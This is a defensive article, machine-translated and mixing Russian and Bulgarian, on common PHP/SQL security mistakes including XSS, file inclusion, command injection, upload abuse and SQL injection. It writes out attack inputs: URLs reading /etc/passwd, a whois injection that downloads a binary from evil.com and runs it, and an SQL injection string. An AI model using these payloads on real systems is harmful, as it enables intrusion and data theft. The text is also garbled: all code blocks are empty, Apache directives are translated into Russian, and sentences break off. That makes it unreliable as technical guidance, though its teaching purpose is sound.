Проблемы и упущения в программировании PHP/SQL

Проблемы и упущения в программировании PHP/SQL

Введение

– Обзор –

Говоря о веб-программировании, одно из наиболее часто упоминаемых слов
являются PHP/Perl/ASP/XML/XSLT/SQL. В этой статье рассматриваются проблемы, возникающие
как следствие недостаточно продуманного кода и событий, которые
может произойти в совершенно неслучайных сценариях. Ключевые слова: PHP, XSS,
SQL-инъекция, управление сессиями.

– Идея безопасности –

Принцип работы умеренно защищенной компьютерной системы заключается в системе-
анализируя поток информации к нему/от него и методы, с помощью которых
он лечится.

Проблемы/ошибки

– XSS/межсайтовый скриптинг –

[test1.php]

Код:


 

Следният пример изглежда напълно безобиден, докато не бъде осъзнат рискът от
XSS тип атака. Злонамерен потребител може лесно да промени стойността на
‘myname’ като добави враждебен HTML/Javascript код към него, след което го
изпрати като линк на друг потребител, който не подозира нищо нередно,
докато сайта наподобява реалният си вид. По такъв начин могат да бъдат
откраднати информация за идентифициране пред системата, сесийни cookies и
друга лична информация. Подобна развръзка може лесно да бъде избегната
след филтриране на стойността на променливата:

Код:


 

Същият вариант има приложение при HTTP POST ($_POST) форми.

– Работа със сесии –

Основна роля на сесиите е да предават профилирано данните от една страница
към друга. Чрез ID ключа на сесиите, потребителите на сайта могат да се
оторизират пред системата. Много често обаче със сесийните ID-та се спекулира
за достъп до персонална информация и пр. Не рядко линкове с ID-та се постват
неволно по форуми, irc, чрез мейл, browser history, отметки (bookmarks) и на
други публични места.

PHP >= 4.2 дава възможност идентификационните номера на сесиите да се крият,
чрез употреба на ‘session.use_trans_sid’ в php.ini.

Друга надеждна опция е ключовете на сесиите да се променят всеки път при
логване, чрез следният скрипт:

[test2.php]

Код:


 

– safe_mode, open_basedir –

‘PHP4 Bible’ на Тим Конвърс и Джойс Парк (ISBN 0-7645-4716-X) предлага
сравнително пълна интродукция на PHP/MySQL, заради което е предпочитана от
хората изучаващи езика. Въпреки това, книгата изобилства от незначителни до
сериозни грешки, но се спрях на само една от тях, тъй като беше упоменато,
че точно този код е сигурен и предотвратява изтичане на информация. В
оригиналното издание (английски) на страница 572, част 3, секция ‘Advanced
Techniques’ се казва:

„Няколко често срещани грешки при програмиране на PHP могат да помогнат и
улеснят хакер да прочете почти всеки файл на сървъра. Разгледайте следващата
страница:

[test3.php]

Код:


 

…“.

Дотук добре. http://example/?poem=$file наистина показва $file. Продължава:

„Следващият код е подходящо решение на този проблем:

[test4.php]

Код:




…».

По словам авторов книги, этот пример (test4.php) решает проблему на
test3.php. Однако следующий HTTP-запрос GET использует неверный
используемые переменные (любой файл в файловой системе с не менее чем o+r
Доступен):

http://example.com/?poem=the_intruder&poem_file=/etc/passwd

Использование register_globals здесь по-прежнему не решает проблему. Отныне и впредь
можно рассмотреть как минимум 2 варианта. Во-первых, чтобы определить «open_basedir» в
php.ini,

open_basedir = ‘/home/sheib/public_html/небезопасно’

или из httpd.conf:


php_admin_value open_basedir /home/sheib/public_html/unsafe

с помощью которого можно ограничить доступ к ресурсам, не принадлежащим
соответствующего пользователя или отфильтровать значение ‘poem_file’ по
регулярные выражения (регулярные выражения).

Использование «open_basedir» — идеальное решение при размещении нескольких сайтов.
(ниже мы поговорим о том, как некоторые администраторы коряво пытаются это сделать
обход), но тем не менее функционал сайта серьезно ограничен.
Поэтому хорошо использовать немного более гибкий подход:

[test5.php]

Код:


Неверный запрос от '.$ip.'');  } если (эрег('[/%-+& |>

Така, log_inv() ще записва всички невалидни URI искания.

Примерът, за който стана въпрос по-горе е срещнат при един от популярните
български ИТ доставчици. Администраторът се е опитал да се опази от
изпълнение на php файлове, вероятно дочул за сценария при ДирБГ –
), но въпреки това тяхното качване чрез
ftp е разрешено:

[httpd.conf]


RewriteEngine включен
Правило перезаписи ^/~(.*).php$ /usr/local/www/data/nophp.html
# Правило перезаписи ^/~(.)(.*)$ /home/$1/$1$2
Правило перезаписи ^/~(([a-z])[a-z0-9]+)(.*) /дом/$2/$1/$3
СерверАдминистратор [email protected]
Корень документа /usr/local/www/data
Имя сервера www.xxxx.net
Журнал ошибок /var/log/apache/www.xxxx.net-err
CustomLog /var/log/apache/www.xxxx.net-acc в сочетании

Из «RewriteRule ^/~(.*).php$ /usr/local/www/data/nophp.html» видно, что
что они не хотят, чтобы файлы с расширением .php запускались на веб-сервере
для этого сайта. Файлы с расширением .php3 также не допускаются. Роковой
ошибка, незаметная на первый взгляд, заключается в неправильном использовании rewrite(1)
правило, разрешающее выполнение .pHP, .pHp, .PHP, .Php и т. д. файлы.
Система, а затем и сеть были скомпрометированы в результате
только эта ошибка.

– Бисквиты (печенье) –

Файлы cookie — это небезопасный (но удобный) способ хранения информации из
стороны клиента, из-за возможности спекулировать с ними. сценарий,
когда система голосования полагается исключительно на проверку
значение файла cookie, которое он сам устанавливает (или прекращает),
можно легко обойти, просто отключив файлы cookie
из браузера. Недавно OSNews.com обнаружил именно такие злоупотребления и
им пришлось переписать некоторые части своего сайта. В таком случае все в порядке
для использования основанного на IP или аналогичного подхода:

[test6.php]

Код:




Файлы cookie можно украсть с помощью взломов типа XSS. Однако они
простота и удобство в использовании, а также хранение конфиденциальной информации, хотя
и кодировать не желательно.

– Внешние программы –

Многие системные администраторы и программисты считают, что процессы
/scripts фактически выполняются пользователем, запустившим веб-сервер.
В общем случае – none/www. Така, они часто прибегают к запрету некоторых
PHP-функции (при условии, что они могут быть защищены таким образом), установив
‘отключить_функции’ в config. php-файл. Их часто заносят в черный список.
passthru(), fpassthru(), system(), readfile(), exec(), proc_open() и другие.
Однако существует множество дополнительных опций, которые могут
использоваться злоумышленниками. В том числе безобидный на вид
(кому-то) функция mail():

[test7.php]

Код:




Команды также можно выполнять через «»». Это возможный подход
определение ‘safe_mode’ (php.ini). Модуль PHP проверит, является ли владелец
yt скрипта также владеет файлом, над которым он пытается работать:

-rw-r–r– 1 злодей злодей 120 10 окт 09:11 test7.php
-rw-r–r– 1 root root 1116 4 окт. 12:10 /etc/passwd

$ php -q test7.php

Предупреждение: БЕЗОПАСНЫЙ РЕЖИМ Действует ограничение. Скрипт, uid которого равен 500,
не разрешен доступ к /etc/passwd, принадлежащему uid 0 в /home/evildoer/mail.php
онлайн 2

Время от времени вам нужно будет использовать внешние программы через свой код.
Больше всего беспокоит администраторов, когда вызывающие функции
эти программы должны работать со строкой запроса, контролируемой пользователем.
В следующем примере показано бездумное использование popen():

[test8.php]

Код:




Результат

ПОЛУЧИТЬ /test8.php?to=враждебный%40box+%3c+%2fetc%2fpasswd HTTP/1.0

является:

$ почта [email protected]

Многие интернет-провайдеры предлагают такие услуги, как LookingGlass, Whois, Traceroute.
и т.п. через их веб-страницы. Я недавно наткнулся на этот код в плохо продуманном
сценарий:

[test9.php]

Код:


";
                          system("/usr/bin/whois $name");
                          echo"

«;
}
ломать;;
}

//…

?>


В этом случае программист слепо доверяет информации, поступающей от
клиентская сторона и whois свободно выполняет аргумент. Достаточно
$name заменить на «example.com»; завиток http://evil.com/bd -o
/var/tmp/бд ; /var/tmp/bd’ или даже ‘|’, так как system() не работает
только одна команда на вызов, и она обеспечивает интерпретацию оболочки.
татор.

– Переменные m/u скрипты –

Рекомендуется всегда быть осторожным, используя include(), require()+once,
виртуальный (). В подтверждение сказанного, некоторые популярные PHP-приложения
содержать ошибки из-за непроверенного использования переменных.
Предыдущие версии PHP-Nuke, Piranha, SquirrelMail и phpMyAdmin (ниже)
предлагают богатый «выбор» именно таких:

[test10.php]

Код:




$ lynx «http://example.com/phpMyAdmin/sql.php?btnDrop=No&goto=pth/to/FILE»

печатает $ФАЙЛ.

– HTTP-загрузка файлов –

Загрузка файлов может быть простой, но также проблематичной из-за способа
на котором PHP выполняет загрузку. Если какой-нибудь фанатик изменит формат www на
загрузить файлы,

Код:


  

която работи с подобен скрипт

[fup.php]

Код:




на

Код:


  

вероятно ще успее де копира ‘/etc/passwd’ при своите файлове. Като решение
може да се заложи на следният скрипт:

[test11.php]

Код:




А лучше вообще отключить загрузку экзешников с сервера
файлы регулярных выражений:

[test12.php]

Код:




– Внедрение кода SQL –

Одним из самых полезных качеств PHP является его способность быть быстрым и простым.
манипуляции с любыми СУБД (MySQL, PgSQL, mSQL, SyBase, Oracle, dBASE,
DB2 и многие другие коммерческие). В зависимости от данных, содержащихся в БД-
Таким образом, возможный незаконный доступ может иметь серьезные последствия.
test13.php — это простой скрипт, который подключается к базе данных и выполняет
простой запрос SELECT:

[test13.php]

Код:




Рассматриваемый скрипт является частью интернет-магазина, выбирая информацию о
финансы клиента и номер социального страхования. Большинство функций
для запросов запретить выполнение более 1 запроса к базе данных,
чтобы

db_query(«SELECT * …; UPDATE tbl_name SET…;»);

выполнит только первый запрос. Все кажется прекрасным, пока кто-то не
заменить $UserID из формы HTTP. с «$UserID ИЛИ идентификатор пользователя LIKE «%»;'» (и получить
вся банковская информация из таблицы) Более новые версии PHP имеют
встроенная защита от этого, как в ini-файле PHP ‘magic_quotes_gpc’
«экранирует» введенный пользователем контент GET/POST/COOKIE
из «‘». Однако на них не всегда можно положиться (их можно
удален по ряду причин), и можно использовать addlashes() в
переменные, идущие непосредственно в БД, и stripslashes() на выходе.

– Кодированная информация –

Из личных наблюдений, очень много софта, который пишется для интернет-магазинов.
это делается для того, чтобы вся информация о клиенте заносилась в базу данных в незашифрованном виде,
то есть любой, у кого есть привилегированный доступ к базе, может легко просматривать ее и
использует. Это серьезный конструктивный недостаток многих систем,
предлагая такие услуги, и причина, чтобы собирать тысячи кредитов каждый день
карты вместе с любыми конфиденциальными данными. Решение вопроса не простое
для исполнения, но имеет решающее значение для компании-исполнителя. Схематично, что
представляет собой:

> Сервер для транзакций SSL из Интернета (где работает магазин)
> Сервер БД, работающий по протоколу SSL (кодирует информацию разными
механизмы/стандарты шифрования AES/DES/PGP/MD5 и т. д.)
> Третья машина (не расположенная в Интернете), которая служит для прямого подключения к базе данных
/SSL-сервер и обрабатывать клиентские данные.

В коде это может выглядеть так:

[test14.php]

Код:




mysql> SELECT AES_DECRYPT(‘ВШМиJILSZXь’, ‘key_val’) AS encdata;
+––––-+
| encdata |
+––––-+
| aaadefefewf |
+––––-+
1 ряд в наборе (0,00 сек)

Заключительные слова

Обычно программисты работают со сроками, установленными для них как
ограничения реального времени. Необходимость их соблюдения и отсутствие
достаточно времени, часто приводит к ошибкам, в результате
из-за плохого обслуживания и плохого дизайна кода. Чтобы снизить риск
такие проблемы, содержание каждой переменной, происходящее из внешнего
источников (включая файлы cookie, формы получения/отправки, обработку файлов и
и т.д.) должны быть тщательно проанализированы и определена их достоверность,
прежде чем разрешить его дальнейшее использование в коде. информация,
хранится в базе данных, независимо от ее назначения, должен быть квалифицированным
защищен.

использованная литература

– Ссылки/Литература –

[1] Журнал «Свобода» — http://www.phreedom.org
[2] Группа реагирования на компьютерные чрезвычайные ситуации — http://www.cert.org
[3] Журнал PHP — http://www.php-mag.net
[4] Архитектор PHP — http://www.phparch.com

Автор: sheib, linux-bg
Команда kaldata.com благодарит linux-bg за предоставленную статью

Поделиться в соцсетях